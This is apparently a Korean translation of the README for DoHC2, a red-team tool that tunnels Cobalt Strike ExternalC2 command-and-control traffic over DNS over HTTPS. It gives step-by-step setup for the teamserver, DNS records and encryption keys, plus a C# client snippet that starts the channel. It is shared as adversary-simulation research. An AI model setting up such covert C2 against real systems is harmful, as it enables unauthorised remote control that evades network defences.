⚠️ 참고: 이 도구는 더 이상 적극적으로 유지보수되지 않습니다.

DoHC2

DoHC2는 Ryan Hanson의 ExternalC2 라이브러리(https://github.com/ryhanson/ExternalC2)를 DNS over HTTPS(DoH)를 통한 명령 및 제어(C2)에 활용할 수 있게 합니다. 이는 널리 사용되는 모의 적성 시뮬레이션 및 레드 팀 운영 소프트웨어인 Cobalt Strike(https://www.cobaltstrike.com)를 위해 제작되었습니다.

발표

이 프로젝트는 2018년 10월 23일 Mitre ATT&CKcon에서 공개되었습니다.

슬라이드: ATT&CK를 활용한 보안 이니셔티브에 대한 악마의 대변인 역할

블로그 기사: DOH! DNS Over HTTPS가 기업에 잠재적 위험을 초래할 수 있음

다이어그램

사용법

1. Cobalt Strike 팀서버를 설치하고 실행합니다.
2. beacon_http/beacon_https 리스너를 실행합니다. - 주의 이것은 방화벽으로 차단할 수 있지만 External C2가 작동하려면 필요합니다.
3. 스크립트 'external_c2.cna'를 로드하여 ExternalC2 포트 2222를 시작합니다(방화벽 해제).
4. python3 서버의 종속성을 설치합니다.
5. 포트 53/udp를 인터넷(또는 DoH 제공자 IP 범위)에 허용합니다.
6. 도메인에 팀서버/DNS 서버 IP를 가리키는 A 레코드를 생성합니다. 예: [A] entry.example.org -> 000.000.000.000
7. 전송 채널(INPUTDOMAIN)을 위해 A 레코드를 가리키는 NS 레코드를 생성합니다. 예: [NS] send.example.org -> entry.example.org.
8. 수신 채널(OUTPUTDOMAIN)을 위해 A 레코드를 가리키는 NS 레코드를 생성합니다. 예: [NS] receive.example.org -> entry.example.org.
9. DoHC2.py에서 INPUTDOMAIN과 OUTPUTDOMAIN을 변경합니다. 암호화 키/IV를 변경합니다 - 이는 Teamserver에서 클라이언트로의 경로만 암호화하는 데 사용됩니다(스테이저 암호화). DoH 제공자에 따라 max_records를 1에서 변경합니다. 일부 제공자는 반환된 레코드를 재정렬하는데 현재 처리되지 않습니다. 최대 5가 DNS 서버에서 잘 작동합니다.
10. python3 DNS 서버를 실행합니다.
11. ExternalC2 라이브러리를 빌드합니다. DoHChannel.cs의 암호화 키/IV를 python3 서버와 일치하도록 변경합니다.
12. 아래와 같이 DoHC2()를 구성하고 실행합니다. INPUTDOMAIN, OUTPUTDOMAIN 및 'DoH 제공자'를 'https://resolver.example.org/dns-query' 형식으로 설정해야 합니다.

서버

ACME DNS Server 기반의 Python DNS 서버

• 기본적으로 127.0.0.1:2222에서 Cobalt Strike 팀서버로 Raw DNS를 인터페이스합니다.
• INPUTDOMAIN과 OUTPUTDOMAIN을 서버 외부 IP의 NS인 호스트로 변경합니다:

	pip3 install -r requirements.txt
	sudo python3 ./DoHC2.py

라이브러리

@ryhanson의 ExternalC2에 다음이 추가되었습니다:

• Channels> DoHChannel.cs - DoH 구현
• Channels > Base32.cs (출처: https://gist.github.com/BravoTango86/2a085185c3b9bd8383a1f956600e515f)
• DoHC2.cs - DoH 채널 설정/래퍼
• Newtonsoft.JSON (https://www.newtonsoft.com/json)이 프로젝트에 추가됨

클라이언트 예제

• 다른 ExternalC2와 마찬가지로 DoHC2는 JScript/DotNetToJS에 대해 COMVisible이지만, 이는 초기화를 위한 간단한 예제입니다.
• 예제 클라이언트 DoHC2Runner는 라이브러리 로드 및 설정을 시연하는 간단한 C# 프로그램으로, 다음과 같이 사용합니다:

	DoHC2 doh = new DoHC2();
	doh.Configure("<INPUTDOMAIN>","<OUTPUTDOMAIN>","<DoH URI i.e. https://dns.google.com/resolve or https://dns.example.org/dns-query");
	doh.Go();

저자

• David Middlehurst - Twitter- @dtmsecurity

라이선스

DoHC2

일부 요소는 위에서 설명한 대로 David Middlehurst, SpiderLabs가 제작했습니다(다른 오픈소스 프로젝트가 사용된 경우 각각의 라이선스를 참조하십시오).

Copyright (C) 2018 Trustwave Holdings, Inc.

This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

감사의 말

• ExternalC2
• ExternalC2 Spec
• ACME DNS Server - (Python 서버)
• Python Shared File C2 - (Python 서버)
• Python External_C2_Framework - (Python 서버)
• DNSExfiltrator - Python 서버

기여자

• xinhaojing - Server Issue #1